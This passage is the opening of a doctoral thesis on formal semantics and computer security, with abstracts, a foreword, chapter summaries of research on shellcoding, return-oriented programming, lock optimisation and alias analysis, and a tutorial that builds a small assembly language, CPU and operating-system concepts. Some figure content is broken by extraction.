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Résumé

L’informatique se fonde sur de nombreuses couches d’abstraction, allant
des couches matérielles jusqu’à l’algorithmique en passant par le cahier des
charges à la base de la conception du produit. Dans le cadre de la sécurité
informatique, les vulnérabilités proviennent souvent de la confusion résul-
tant des différentes abstractions décrivant un même objet. La définition de
sémantiques aide à la description formelle de ces abstractions dans l’objectif
de les faire coïncider. Dans cette thèse, nous améliorons différents procédés
ou programmes en corrélant les diverses représentations sémantiques sous-
jacentes.

Nous introduisons brièvement les termes et concepts fondamentaux avec
lesquels nous construisons le concept de langage assembleur ainsi que les
différentes abstractions utilisées dans l’exploitation de programmes binaires.

Dans une première partie, nous utilisons des constructions sémantiques
de haut niveau pour simplifier la conception de codes d’exploitation avancés
sur des jeux d’instructions récents. Nous présentons didactiquement trois
exemples répondant à des contraintes de plus en plus complexes. Spéci-
fiquement, nous présentons une méthode pour produire des shellcodes al-
phanumériques sur ARMv8-A et RISC-V, ainsi que la première analyse de
faisabilité d’attaques de type return-oriented programming sur RISC-V.

Dans une deuxième partie, nous étudions l’application des méthodes
formelles à l’amélioration de la sécurité et de la sûreté de langages de pro-
grammation à travers trois exemples : une optimisation de primitives de
synchronisation, une analyse statique compatible avec la vérification déduc-
tive limitant l’aliasing de pointeurs dans un langage impératif ou encore un
formalisme permettant de représenter de façon compacte du code binaire
dans le but d’analyser des problèmes de synchronisation de protocole.
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Abstract

Computer science is built on many layers of abstraction, from hardware to
algorithms or statements of work. In the context of computer security, vul-
nerabilities often originate from the discrepancies between these different
abstraction levels. Such inconsistencies may lead to cyberattacks incurring
losses. As a remedy, providing semantics helps formally describe and close
the gap between these layers. In this thesis, we improve methods and pro-
grams by connecting the various semantic representations involved using
their relationship to each level of abstraction.

We briefly introduce the fundamental concepts and terminology to build
assembly languages from scratch and various abstractions built atop and
used in the context of binary exploitation.

In the first part, we leverage higher-level semantic constructs to reduce
the design complexity of advanced exploits on several recent instruction
set architectures. In a tutorial-like fashion, we present three examples ad-
dressing increasingly more complex constraints. Specifically, we describe a
methodology to automatically turn arbitrary programs into alphanumeric
shellcodes on ARMv8-A and on RISC-V. We also provide the first analysis
on the feasibility of return-oriented programming attacks on RISC-V.

In the second part, we see how the use of formal methods can improve
the safety and security of various languages or constructs, through three ex-
amples that respectively optimize the implementation of Hoare monitors, a
well-known synchronization construct, prevent harmful aliasing in an imper-
ative language without impeding deductive verification, or abstract binary
code into a compact representation which enables further protocol desyn-
chronization analyses.
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Foreword

Man hitherto has been prevented from realizing his hopes by ig-
norance as to means. As this ignorance disappears he becomes
increasingly able to mould his physical environment, his social mi-
lieu and himself into the forms which he deems best. In so far as
he is wise this new power is beneficent; in so far as he is foolish it
is quite the reverse. If, therefore, a scientific civilization is to be a
good civilization it is necessary that increase in knowledge should
be accompanied by increase in wisdom.

Bertrand Russell, The Scientific Outlook, 1931

This thesis aims at bringing closer formal methods and computer secu-
rity, by showing, through practical examples, the techniques that could be
leveraged to either improve or exploit various products or platforms.

These four years of research have convinced me that computer security
requires a rigorous and empirical approach combining both a thorough un-
derstanding of the implementation details as well as grasping the underlying
abstract ideas. Any misunderstanding may lead to a vulnerability. Inasmuch
as cyberattacks can cause disproportionate damage, computer security is, at
its heart, the playground of nitpickers.

Formal methods, on the other end of the spectrum, are historically linked
to safety-critical systems, and were only loosely related to security. Recent
efforts aiming at forgathering hackers and formal method experts allowed
mixed approaches to gain momentum, the example of the 2016 DARPA
Cyber Grand Challenge at DEF CON 24 being the most emblematic. This
evolution is likely to continue, as formal methods are reaching maturity,
with the latest tools improving on scalability, ease-of-use and versatility.

At the beginning of this thesis I used to think that formal methods were
just the dual of computer security; the first well suited for defense while the
second excels in attacks. Looking back, this proved quite inaccurate as both
provide attack and defense mechanisms. In fact, formal methods bridge
the gap between a program and its model, through a systematic formally
rigorous study of the program’s meaning, its semantics. Each chapter of this
manuscript presents an example of this approach, by means of an extended
version of peer-reviewed articles.
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Chapter 1

Introduction

This manuscript assembles various publications in peer-reviewed venues. Af-
ter a technical introduction in Chapter 2, we discuss a specific use-case of
our semantic approach in each chapter, focusing either on the exploitation
side in the first part, or on the improvement of programming languages in
the second part. Each use-case is an extended version of a published article,
with the exception of Chapter 8, which is still work in progress.

1.1 Outline

In Chapter 2, we introduce the fundamental concepts and terminology used
in binary exploitation. After introducing from scratch assembly languages
and various abstractions built atop, we briefly present some binary exploita-
tion techniques as well as their associated mitigation.

In Chapter 3, we describe a methodology to automatically transform
arbitrary ARMv8-A programs into alphanumeric executable polymorphic
shellcodes. Shellcodes generated in this way can evade detection and by-
pass filters, broadening the attack surface of ARM-powered devices such as
smartphones.

In Chapter 4, we explain how to design RISC-V shellcodes capable of
running arbitrary code, whose ASCII binary representation use only letters
a–z and A–Z, digits 0–9, and one of the three characters: #, /, ’.

In Chapter 5, we provide the first analysis of the feasibility of return-
oriented programming (ROP) on RISC-V, by showing the existence of a new
class of gadgets, using several linear code sequences and jumps, undetected
by current Galileo-based ROP gadget searching tools. We argue that this
class of gadgets is rich enough on RISC-V to mount complex ROP attacks,
bypassing traditional mitigation like DEP, ASLR, stack canaries, G-Free, as
well as some compiler-based backward-edge CFI, by jumping over any guard
inserted by a compiler to protect indirect jump instructions. We provide
examples of such gadgets, as well as a proof-of-concept ROP chain, using
C code injection to leverage a privilege escalation attack on two standard

3



4 CHAPTER 1. INTRODUCTION

Linux operating systems. Additionally, we discuss some of the required
mitigations to prevent these attacks and provide a new ROP gadget finder
algorithm that handles this new class of gadgets.

In Chapter 6, we describe a Hoare monitor framework called Tower de-
veloped for real-time system programming that targets multiple real-time
operating systems. Hoare monitors use coarse-grained locking across all of
the methods in a monitor. In a real-time setting, this coarse-grained lock-
ing can be too restrictive, but it is difficult and tedious for a programmer
to reason about which methods may safely execute in parallel. Therefore,
we present an automated compiler optimization for refining locks in Hoare
monitors using partially-weighted MAXSAT. We formalize Tower seman-
tics using Petri nets and show that safe concurrency is preserved under the
optimization. Finally, we present a number of empirical benchmarks for
our optimization as well as a case-study of a real-time autopilot built and
optimized with our approach.

In Chapter 7, we introduce pointers to SPARK, a well-defined subset of
the Ada language, intended for formal verification of mission-critical soft-
ware. Our solution uses a permission-based static alias analysis method
inspired by Rust’s borrow-checker and affine types. To validate our ap-
proach, we implemented it in the SPARK GNATprove formal verification
toolset for Ada. We give a formal presentation of the analysis rules for a
core version of SPARK and discuss their implementation and scope.

In Chapter 8, we present a graph-based formalism to represent binary
programs in a much simpler form limited to assignments, procedure calls
and conditions. We redefine the reaching definitions and liveness dataflow
analyses to extend them—without requiring any procedure signature or call-
ing convention—at an inter-procedural scope. We then provide several basic
graph transformations that can be leveraged to extract a compact represen-
tation from our formalism, and show through a real example how to combine
it with textbook algorithms to investigate a protocol desynchronization issue
in scp.

1.2 Terminology

Throughout this manuscript, the following conventions are used: plain num-
bers are in base 10, numbers prefixed by 0x are in hexadecimal format, and
numbers prefixed by 0b are in binary format.

The fundamental unit of information we consider is the bit. Each bit has
either the false or the true value, respectively written as 0b0 or 0b1. We call
octet a contiguous sequence of 8 bits, and write it using the symbol o. Each
octet is composed of two nibbles (also called quartets): the higher nibble
and the lower nibble each contain 4 bits. An octet can be represented by its
two nibbles written in hexadecimal. For instance, the octet whose value is



1.3. RESULTS AND CONTRIBUTIONS 5

Symbol Meaning Value
KiB kibibyte 210 bytes
MiB mebibyte 220 bytes
GiB gibibyte 230 bytes
TiB tebibyte 240 bytes

Figure 1.1: Common binary prefixes of the byte.

0b01000010 is usually written 0x42.
Although a byte (symbol B) historically designated the smallest contigu-

ous sequence of bits used to encode a character on a given machine, today
it is used interchangeably with the term octet. As a result, each byte is also
8 bits long. The byte being a unit, a prefix can be added to the byte to
indicate multiples of the units; KB thus means 103 bytes, TB means 1012

bytes. Note that a fraction of a byte (like µB) has no meaning. In computer
science, we instead use binary prefixes, summarized in Table 1.1.

The word size designates the size of the data processed by a processor.
Therefore, each architecture has its own word size. In this manuscript, we
will follow the convention used by RISC-V to define words as 4 bytes long,
even for other architectures. Consequently, a half-word is 2 bytes long, a
double-word 8 bytes.

1.3 Results and Contributions

1.3.1 Thesis Results

This thesis presents various scientific contributions, in the form of publica-
tions, teaching, reviews, or miscellaneous communication activities.

Publications Several articles have been published in this thesis in peer-
reviewed venues, most of them presented in this manuscript: three arti-
cles as lead author [JP17; Jal+20a; Jal+20b] respectively on Hoare mon-
itor optimization, return-oriented programming and static alias analysis,
three articles as trailing co-author [Bar+16; Bar+19a; SMJ21] on alphanu-
meric shellcoding and remote attestation mechanisms (not presented in this
manuscript). Furthermore, work on alphanumeric shellcoding was also pre-
sented at DEF CON 27 [Bar+19b], a prestigious hacking conference with
no published proceedings.

Teaching The majority of teaching was for computer science students.
However one course targeted a wider audience, helping improve populariza-
tion skills. Grouping them by institution: École normale supérieure (Com-
puter science by practice and Digital systems, from algorithms to circuits),
École polytechnique (Introduction to programming and algorithms and Com-
pilation), École des officiers de la Gendarmerie nationale (Cyberphysical and
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communications infrastructure security and Digital forensics), EISTI (Re-
verse engineering), Centrale Supélec (invited lecture on Reverse engineering
in the Cybersecurity course).

Service Several reviews were performed, either as sub-reviewer (FMCAD
2017, TRUSTCOM2019) or as member of the artifact evaluation committee
(Usenix 2020 and Usenix 2021).

Miscellaneous Many other activities may be mentioned, targeting either
various communications to wide audiences, internships, or non peer-reviewed
contributions.

Two talks targeting senior executives of the French public and private
sectors: a 20-minute demo on cold-boot attacks at the CyberStrategia con-
ference organized by the French Cyber Defense Command and a 20-minute
talk on the use of secrets in computer security at IHEST (Institute of High
Studies for Science and Technology).

Many seminars organized at CEA DAM to present and debate about an
existing paper with either historic or technical value. Another seminar at
University of Luxembourg presented shellcoding techniques (among which
alphanumeric and return-oriented programming), while a poster presented
return-oriented programming at the Smart Card Center day at Royal Hol-
loway University of London.

Two three-month internships were performed during the thesis, respec-
tively at Royal Holloway University of London (ISG Smart Card and IoT Se-
curity Center, supervised by Konstantinos Markantonakis) and at Amazon
Web Services (Automated Research Group, supervised by Sean McLaugh-
lin), allowing exchanges of practice and knowledge with foreign research
teams.

Finally, non-academic contributions include a vulnerability on scp found
and reported under CVE-2020-12062. Two additional vulnerabilities are yet
to be reported.

1.3.2 Personal Bibliography

[Bar+16] Hadrien Barral, Houda Ferradi, Rémi Géraud, Georges-Axel
Jaloyan, and David Naccache. “ARMv8 Shellcodes from ‘A’to
‘Z’”. In: Proceedings of the 12th International Conference on
Information Security Practice and Experience. Berlin, Hei-
delberg: Springer-Verlag, 2016, pp. 354–377. isbn: 978-3-319-
49151-6. url: https://link.springer.com/chapter/10.
1007/978-3-319-49151-6_25.

https://link.springer.com/chapter/10.1007/978-3-319-49151-6_25
https://link.springer.com/chapter/10.1007/978-3-319-49151-6_25
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Chapter 2

Prolegomena

This chapter introduces the fundamental concepts and termi-
nology used in binary exploitation. After introducing from
scratch assembly languages and various abstractions built atop,
we briefly present some binary exploitation techniques as well as
their associated mitigation.

2.1 Assembly 101

Assembly languages allow the junction between software and hardware. In-
deed, they can both be seen as respectively the lowest and highest abstrac-
tion level of each domain. This is why we present assembly languages twice
in this chapter, using two different methods.

The first method introduces assembly as the lowest-level human-readable
intermediate language of the compilation process, which unsurprisingly turns
out to be the target language of the compiler. This method can be portrayed
as “yet another programming language” with weird features like discrimi-
nating the program’s data into addressable memory and a limited number
of registers. This method is particularly well illustrated in Section 8.2 of
Compilers: Principles, Techniques, and Tools (also nicknamed the Dragon
Book) written by Alfred V. Aho et al. [Aho+06], which provides a formal
definition of assembly language. I call this method the top-down approach,
as opposed to—as you may have guessed—the bottom-up approach that
follows.

The second method starts at the transistor level and adds layer upon
layer until a simplified processor executing binary code is built. From here,
we define assembly as the human-readable equivalent of binary code, with
extra features like labels and pseudo-instructions. This is the approach
adopted in Chapters 2 and 4 of Computer Organization and Design written
by David Patterson and John Hennessy [PH13], where assembly instructions
are translated into binary statements, and segmented into several smaller
fields, which are then sent to different functional units of the processor (ALU,

9
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control, registers, ...).
As these two methods complement one another, we will refer to these

two methods throughout the thesis. Indeed, the top-down approach explains
what assembly instructions can achieve—answering the question “how”—
whereas the bottom-up approach explicits design choices that may break or
miraculously fix our exploits, answering the question “why”. Consider, for
example, writing constrained exploits where the goal is to perform arbitrary
computations using binary code that must respect constraints like a forbid-
den set of instructions. The top-down approach yields an overview of what
type of computation may theoretically be carried out (accessing registers,
reading or writing to memory, control-flow transfers), while the bottom-up
approach points to a precise insight—such as which registers can be used
with the restricted instruction set to build our computations.

2.1.1 Top-down approach

To introduce the first method, let’s define a small language resembling a 32-
bit assembly, called µasm. Like all other languages, we define the left-values
which we call registers, then the expressions—we restrict ourselves to scalar
values which we call immediates—followed by statements or instructions.
Smash it until it fits and voilà. We can formally express its grammar with
the following Backus-Naur form [Bac59]:

〈reg〉 ::= x0 | ... | x31 register

〈imm〉 ::= 0 | ... | 4294967295 immediates

〈inst〉 ::= nop no operation
| add 〈reg〉, 〈reg〉, 〈reg〉 32-bit unsigned addition
| and 〈reg〉, 〈reg〉, 〈reg〉 bitwise conjunction
| or 〈reg〉, 〈reg〉, 〈reg〉 bitwise disjunction
| xor 〈reg〉, 〈reg〉, 〈reg〉 bitwise exclusion
| addi 〈reg〉, 〈reg〉, 〈imm〉 32-bit addition to constant
| load 〈reg〉, 〈imm〉 (〈reg〉) 32-bit memory read
| store 〈imm〉 (〈reg〉), 〈reg〉 32-bit memory write
| jmp 〈imm〉 absolute jump
| jz 〈reg〉, 〈imm〉 absolute conditionnal jump
| jnz 〈reg〉, 〈imm〉 absolute conditionnal jump

Then we write the small-step operational semantics of the assembly lan-
guage, detailed in Fig. 2.1. We specify its internal state, as defined by
the value of the program counter pc, a function Υ that maps each regis-
ter x0 ... x31 to its value, and another one Σ called the store mapping
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(pc,Υ,Σ) π(pc)=nop−−−−−−−→ (pc + 1,Υ,Σ)
(pc,Υ,Σ) π(pc)=add r1, r2, r3−−−−−−−−−−−−−−→ (pc + 1,Υ[r1 ← Υ(r2) + Υ(r3)],Σ)
(pc,Υ,Σ) π(pc)=and r1, r2, r3−−−−−−−−−−−−−−→ (pc + 1,Υ[r1 ← Υ(r2) ∧Υ(r3)],Σ)
(pc,Υ,Σ) π(pc)=or r1, r2, r3−−−−−−−−−−−−−→ (pc + 1,Υ[r1 ← Υ(r2) ∨Υ(r3)],Σ)
(pc,Υ,Σ) π(pc)=xor r1, r2, r3−−−−−−−−−−−−−−→ (pc + 1,Υ[r1 ← Υ(r2)⊕Υ(r3)],Σ)
(pc,Υ,Σ) π(pc)=addi r1, r2, k−−−−−−−−−−−−−−→ (pc + 1,Υ[r1 ← Υ(r2) + k],Σ)
(pc,Υ,Σ) π(pc)=load r1, k(r2)−−−−−−−−−−−−−−→ (pc + 1,Υ[r1 ← Σ(Υ(r2) + k)],Σ)
(pc,Υ,Σ) π(pc)=store k(r1), r2−−−−−−−−−−−−−−−→ (pc + 1,Υ,Σ[Υ(r1) + k ← Υ(r2)])
(pc,Υ,Σ) π(pc)=jmp k−−−−−−−−→ (k,Υ,Σ)
(pc,Υ,Σ) π(pc)=jz r1, k−−−−−−−−−−→ (k,Υ,Σ) if Υ(r1) = 0
(pc,Υ,Σ) π(pc)=jz r1, k−−−−−−−−−−→ (pc + 1,Υ,Σ) if Υ(r1) 6= 0
(pc,Υ,Σ) π(pc)=jnz r1, k−−−−−−−−−−−→ (k,Υ,Σ) if Υ(r1) 6= 0
(pc,Υ,Σ) π(pc)=jnz r1, k−−−−−−−−−−−→ (pc + 1,Υ,Σ) if Υ(r1) = 0

Figure 2.1: Semantics of µasm.

each address to its value stored in memory. To keep our formalism clean,
we limit ourselves to Harvard architecture devices which—contrary to Von
Neumann devices—separate the program from the memory, thus disabling
self-rewriting code. To this end, we provide a function π that maps each
possible pc value to an instruction. We also assume our memory has a
granularity of 32 bits—meaning that the smallest amount of data that can
be designated unequivocally by a single address is of size 32 bits, and that
the memory is big enough to span the whole addressable space—the set of
integer values for which a load or a store is possible. Thus our machine
has 16 GiB of memory and the program is 16 GiB long. The semantics can
be expressed by providing its transition relation →. Symbolically, we write
(pc,Υ,Σ) π(pc)=inst−−−−−−−→ (pc ′,Υ′,Σ′) to denote that upon state (pc,Υ,Σ), the
execution of instruction inst at address pc terminates yielding new state
(pc ′,Υ′,Σ′).

Let us look at one specific instruction, like add r1,r2,r3. This instruc-
tion comprises four elements: add is called the opcode, r1 is the destination
register , while r2 and r3 are the source registers. These three registers are
called the instruction operands. The lexemes “add”, “r1”, “r2”, and “r3”
are called mnemonics. The add instruction performs the 32-bit modular
unsigned addition of its two source operands and stores the result in the
destination register, as shown in Fig. 2.1.
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On most of today’s computers, memory has a granularity of 8 bits (in-
stead of 32). Furthermore, the memory does not cover the entire addressable
space, leaving room for the use of many peripherals besides the RAM. Fur-
thermore, central processing units (CPUs) have caches to speed up access to
memory, acting like intermediate memories with very short response time.
Caches form a hierarchy, usually written L1, L2, ..., where the lowest level is
the fastest—and also the smallest in terms of capacity. It works as follows:
when the processor tries to dereference a pointer, a read request is sent to
the L1 cache. If the cache possesses the requested data, the cache immedi-
ately returns the data, and we call it a cache hit. Otherwise the read request
is transmitted to the next cache and we call it a cache miss. If no cache
can return the data, the request is sent to the main memory. Caches may
store a copy of the data they are missing once its value is returned, often at
the cost of discarding older data—this is called cache eviction. Many cache
replacement policies exist, and are implemented by the chip designer.

Harvard architecture devices possess two sets of caches for instructions
and data (written L1i and L1d, and so on). Modern CPUs merge both
caches above L2, thus allowing some limited forms of program modifica-
tion: typically when the operating system launches a program, or during
just-in-time compilation when the interpreter rewrites itself by compiling
parts of the input (called the bytecode). This model is called a modified
Harvard architecture or an almost Von Neumann architecture. However,
self-modifying programs may not work, as the L1i cache cannot see memory
writes carried out through the L1d cache. A special instruction is often pro-
vided (e.g. fence.i on RISC-V) to keep it in sync with the data memory,
usually by flushing—evicting all its values—the instruction cache.

µasm belongs to the reduced instruction set computer (RISC) family as
each instruction has very simple semantics. In contrast, meaning complex
instruction set computers (CISC) provide instructions with more complex
semantics—e.g. reading, processing and writing back to the memory in a
single instruction.

2.1.2 Bottom-up approach

This formal description of the language, usually referred to as the instruction
set architecture (ISA), can be greatly improved as we point out differences
between µasm and real world CPUs. This is when we call in the second
method, as it shows why these differences exist. To keep the example simple,
we will start at the logic gate level, instead of at the transistor. Fig. 2.2
recalls the symbols representing usual gates. Our goal is to design a small
Harvard architecture CPU that implements µasm—modulo details eluded
in the first method.

Our processor is segmented into several blocks that communicate through
sets of wires, called ribbons, or hardware buses. These blocks respectively
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Figure 2.2: Examples of logic gates.
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load the instruction to be executed (instruction memory), reading and writ-
ing the values of specific registers, decoding the current instruction (con-
trol), performing arithmetical and logical operations (arithmetic logical unit
or ALU), as well as storing and reading into the data memory.

ALU block The most important block is the ALU that performs all arith-
metic and logic operations, parameterized by a bus called the ALU control.
A basic design uses a 1-bit ALU to perform unsigned addition, conjunc-
tion, disjunction and exclusion, and then select the required result with a
multiplexer, as shown in Fig. 2.4.

We extend our 1-bit ALU to a full 32-bit ALU in Fig. 2.5, by chaining the
outgoing carry signal of a block to the ingoing carry signal of the following
block. If we restrict ourselves to the ALU’s adder, we recognize a ripple-carry
adder , whose critical path has linear length in the number of bits. Other
ALU designs reduce this critical path, using, for instance, carry-lookahead
adders.
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Figure 2.5: 32-bit ALU and its black-box representation. Note that the
output carry signal of the ALU31 is ignored.
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Register block The next block is the register block and can be designed
in two steps. Step one, shown in Fig. 2.6, extends the concept of a 1-
bit hardware register gate that delays its input for one cycle into a 32-bit
machine register holding its value for an arbitrary time period. This register
can be overwritten with arbitrary input data when a write-enable bit is set.

Step two aggregates 32 machine registers into a subsystem receiving as
input three 5-bit binary values (called wr, ra, rb) and one 32-bit value
(called wd) and returning two 32-bit values (da and db). Practically, da and
db must respectively be equal to the values of the ra-th and rb-th machine
register, and the wr-th register must be overwritten with the value wd.
For this purpose, we introduce a demultiplexer—the inverse operation of a
multiplexer—to set one of the 32 write enabling bits of our machine registers.
In µasm, like RISC-V, the register x0 is hardwired to the constant 0 by
zeroing its write enable bit (we assume by convention that at startup, all
hardware registers have value false). The black box representation for the
whole register block is shown in Fig. 2.7.

1
0

we

wd0

. . . . . .

wd31 1
0 r31

r0

r
we

wd r0..31

we

wd0..31

Figure 2.6: A 32-bit machine register and its black box variant. Its inputs
are one 32-bit bus wd0..31, and a single bit we that allows the values of the
registers to be overwritten when set to one.
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rara0..4

rb0..4
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wd0..31

db0..31

da0..31

Figure 2.7: The black box representation for the register block.
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wr0..4

00000. . .11111

. . .

X0 r
we

wd

X31 r
we

wd

. . .

00000

11111

. . .

00000

11111

ra0..4 rb0..4

. . .
wd0..31

0

da0..31

db0..31

Figure 2.8: The 32-bit register block. wr0..4 designates the number of the
register to be written, ra0..4 the number of the first register to read, rb0..4
the second register to read, while wd0..31 is the data to write into register
wr0..4. Note that the register X0 is hardwired to zero by deactivating its
write enable bit.

Memory blocks We add to our Harvard CPU two memories, one for in-
structions and one for data. The instruction memory is a read-only memory
(ROM), and when provided a 32-bit unsigned address addr, returns a 32-
bit instruction data, noted as ribbon i0..31. The data memory is a volatile
random-access memory (RAM), and is able to read and write in different
memory areas at each cycle. It takes as input the read address raddr, and
when its write enable bit we is enabled, writes 32-bit data wdata to 32-bit
address waddr. It returns at each cycle the 32-bit data rdata read from
memory. We use a special 32-bit register pc called the program counter
to store the address of the 32-bit instruction to execute at this cycle. The
program counter is incremented at each cycle, except when a jump is taken.
Note that both instruction and data memories require 32-bit addresses and
return 32-bit values. As with the top-down approach, we have an address
size of 32 bits and a memory access granularity of 32 bits. Similarly, our
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computer has 16 GiB of instruction memory and 16 GiB of data memory.

Instruction encoding Here comes the first problem. An instruction is
32 bits long, as is the address referring to it. Absolute jumps as depicted
in the top-down approach are not possible, as it would leave 0 bits to the
opcode. The most common solution consists in using jumps to a relative
offset (which can be negative using two’s complement representation) to the
program counter, with only a restricted set of offsets available. In µasm,
we restrict ourselves to only 12 bits signed immediate offsets (i.e. from
−2048 to 2047). This restriction also applies to load and store memory
operations, as well as to the addi operation.

To go further into details, we now need to look at the representation of
µasm instructions by looking how much space we need for each operand,
taking into account that each register needs 5 bits and each immediate 12
bits. We summarize these requirements in Table 2.1.

instruction minimum operands size sum
add rd , rs1 , rs2 5 + 5 + 5 15
and rd , rs1 , rs2 5 + 5 + 5 15
or rd , rs1 , rs2 5 + 5 + 5 15
xor rd , rs1 , rs2 5 + 5 + 5 15
addi rd , rs , imm12 5 + 5 + 12 22
load rd , imm12(rs) 5 + 12 + 5 22
store imm12(rd), rs 12 + 5 + 5 22
jmp imm12 12 12
jz rs , imm12 5 + 12 17
jnz rs , imm12 5 + 12 17

Table 2.1: µasm instructions and the minimal length required for their
operands.

These constraints lead to different instruction encodings, also known as
instruction formats. They share a common part for the opcode, and feature
different encodings for the associated data. The three instruction formats
required in µasm are summarized in Table 2.2.

0 7 8 12 13 17 18 22 29 32

opcode rd rs1 rs2

opcode rd rs imm

opcode rd rsimm[0-4] imm[5-12]

R-type

I-type

S-type

Table 2.2: Instruction formats required for µasm.

This allows us to provide a more comprehensive binary representation
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of each µasm instruction, with the instruction set listing in Fig. 2.9. The
opcode is divided into 8 bits, respectively named ALUctr[0-1], Isrc (im-
mediate source), MemReg (memory to register), MemWrite (memory write
enable), Jmp (jump), NotJmp (negated jump), and ALUsrc (ALU operand
source). We can then combine all the blocks into a fully functioning CPU,
as shown in Fig. 2.10.

0 7 8 12 13 17 18 22 29 32AL
Uc

tr
0

AL
Uc

tr
1

Is
rc

Me
mR

eg

Me
mW

ri
te

Jm
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tJ
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rc

11 0 0 0 0 0 0 00000 00000 00000

11 0 0 0 0 0 0 rd rs1 rs2

00 0 0 0 0 0 0 rd rs1 rs2

01 0 0 0 0 0 0 rd rs1 rs2

10 0 0 0 0 0 0 rd rs1 rs2

11 0 0 0 0 0 1 rd rs imm

11 0 1 0 0 0 1 rd rs imm

11 1 0 1 0 0 1 rd rsimm[0-4] imm[5-12]

11 1 0 0 1 0 0 00000 00000imm[0-4] imm[5-12]

11 1 0 0 1 0 0 00000rsimm[0-4] imm[5-12]

11 1 0 0 1 1 0 rs 00000imm[0-4] imm[5-12]

nop

add

and

or

xor

addi

load

store

jmp

jz

jnz

Figure 2.9: Instruction set listing for µasm.

ISA counterintuitive features The instruction set listing shows us some
interesting properties. First, different instructions may have the same bi-
nary representation, like nop and add x0 , x0 , x0, which translate into
0x00000003. Second, a same assembly instruction may have several binary
representations like add x0 , x0 , x0 which translates into 0x00000003
or 0xC0000003. Finally, by tweaking the binary representation of our ex-
ample CPU, we may provide unexpected opcodes that would be correctly
executed like 0x00002182 which could putatively be disassembled as xori
x1, x1, 0 or even create totally new instructions like 0x00100343 which
jumps at offset +8 and stores the offset in register x3. Real world CPUs
check the validity of the executed instructions with respect to the ISA.

Another interesting feature arises when instruction memory access gran-
ularity is smaller than instruction length: it becomes possible to jump in
between two consecutive instructions. To prevent this, the ISA often puts
additional constraints on the program counter, such as requiring pc to be
a multiple of the length of instructions (e.g. 4-byte instructions should be
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Figure 2.10: The full CPU implementing µasm. Hardware ribbons are rep-
resented using lines between the various blocks of the CPU. The jump offset
ribbon is implicitly sign-extended to 32 bits while the immediate ribbon is
zero extended to 32 bits.
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located at addresses ending with 0b00). In this case we say that instructions
are naturally aligned. In other cases, we explicit the alignment constraint
on pc (e.g. 4-byte instructions aligned on 2 bytes).

Non-naturally aligned instructions introduce code overlap, i.e. the pos-
sibility for the program counter to hold an address in the middle of two
consecutive instructions. In the context of code overlap, we distinguish the
main execution path (MEP) as the legitimate instructions as produced by
the compiler, and the hidden execution path (HEP) as the set of unaligned
valid instructions reaching either an indirect jump, or merging into the MEP.
Such counterintuitive features of assembly languages are often leveraged in
the context of binary exploitation.

Application binary interface On top of the ISA, we define the applica-
tion binary interface (ABI) as a set of conventions that allows programs to
define higher level abstractions. This includes attributing specific usages to
registers: e.g. x2 in RISC-V psABI [Dab+16] is used as a stack pointer is
named sp or x5 used as a temporary register and named t0.

The ABI also defines the concept of procedure (or subroutine), a reusable
sequence of instructions. Specifically, the ABI provides the calling conven-
tion, that includes the instructions used to call a procedure (calling se-
quence), the instructions at procedure entry (prologue) and exit (epilogue),
as well as the list of caller-saved and callee-saved registers, which respec-
tively may or may never be overwritten by the called procedure. In Table 2.3,
we summarized the argument and return registers of common calling con-
ventions for various ISAs and ABIs.

Arch/ABI Return Arguments
System V i386 [Lu+97] eax none (passed on stack)
System V x86_64 [Mat+14] rax rdi, rsi, rdx, rcx, r8, r9
psABI rv64gc [Dab+16] a0 a0, a1, a2, a3, a4, a5, a6
AAPCS64 aarch64 [ARM13] r0 r0, r1, r2, r3, r4, r5, r6, r7

Table 2.3: Linux syscall conventions for various architectures.

Procedures require the concept of indirect jumps, defined as jumps whose
destination is not determined statically. Indeed, as procedures can be called
from unknown locations—we call such locations call sites—, they are ex-
pected to resume upon completion the execution of their caller at the in-
struction immediately following the call site.1 The usual way to perform
this requires for the caller to store the address of the instruction following
the call site, called the return address, into a register (whose name is often

1Optimizations like tail calls are ignored for now.
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ra) or onto the stack before jumping to the entry point of the procedure2,3.
Upon procedure completion, an indirect jump redirects the control flow to
the return address (jr on RISC-V or ret on x86).

To correctly handle nested procedure calls, a special data-structure
whose layout is defined by the ABI—the call stack , pointed to by the
stack pointer sp– is used to represent the data about each procedure being
currently executed, starting from the most recently called procedure and
ending with the first procedure of the program, named main. At procedure
entry, the prologue allocates and initializes a stack frame (or an activation
record) containing a snapshot of each callee-saved register that may be over-
written by the procedure, and some additional memory area used to store
the local variables. At procedure exit, the epilogue fetches from the stack
the callee-saved registers (including the return address), deletes the local-
variables—they go out of scope—deallocates the stack frame and jumps to
the return address. As such, the latest activation frame added on the call
stack is the first to be removed from it; hence the name.

CPU interrupts As we boot our CPU, the program counter is set to
zero, and the instruction at this address is executed.4 The program then
runs with the entire memory available. Such program running directly on
the CPU is called bare metal. In substance, a CPU can run only one bare-
metal program. Such programs may communicate with the outside world
using two methods: either by memory-mapped input/output, consisting of
specific addresses of the memory that allow accessing external peripherals
(e.g. UART or SPI), or by interrupts, signals propagated by the CPU.

Interrupts can be triggered by a dedicated instruction (software inter-
rupt) or directly by hardware events (hardware interrupt) like pressing a key
or a button. Some interrupts can be deactivated, and are said maskable. Us-
ing our previous example, when the CPU is booted up, a non maskable reset
interrupt is triggered.

Modern CPUs have plenty vectored interrupts besides halt or reset. At
each interrupt, the CPU will save some registers among which the program
counter and then call a procedure named an interrupt handler (or interrupt
service routine, ISR).5 Each handler should be located at a specific address,
named the interrupt vector .

2The call instruction on x86 directly stores the return address onto the stack, which
we introduce in the next-paragraph.

3ISAs often provide instructions performing both: jump and link jal on RISC-V or
branch and link bl on ARM

4This address is specific to each CPU and is called the reset vector . For instance, on
x86, the reset vector is physical address 0xFFFFFFF0.

5Interrupt handlers may have their own calling convention defined by the ISA, and
not by the ABI.
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2.2 Operating systems

In this section, we introduce the concept of operating systems (OS), an
abstraction layer aiming at providing a hardware independent interface to
programs it runs: the applications.

Context switches To run several programs on the same CPU, we create
a dedicated program called the OS whose sole purpose is to offer an abstrac-
tion of the hardware, and make all its applications believe they are run-
ning alone on the CPU. To perform this, the OS performs context switches,
which consists in stopping the execution of an application (using an inter-
rupt), storing the application’s context into memory (including registers
and program counter), and resuming the execution of another application
after restoring its associated context.

At each switch, the OS decides which program to resume using an al-
gorithm called a scheduling policy. The most common are first comes, first
served, shortest remaining time first (for embedded devices with periodical
tasks), or round-robin scheduling. Context switches occur upon various in-
terrupts like timers, hardware events, or software interrupts triggered by the
application itself (syscall). Some schedulers may perform context switching
only when the application yields control explicitly: they are said cooper-
ative and require all applications to be well designed so that none blocks
the computation. Schedulers that seize control from programs are called
preemptive.

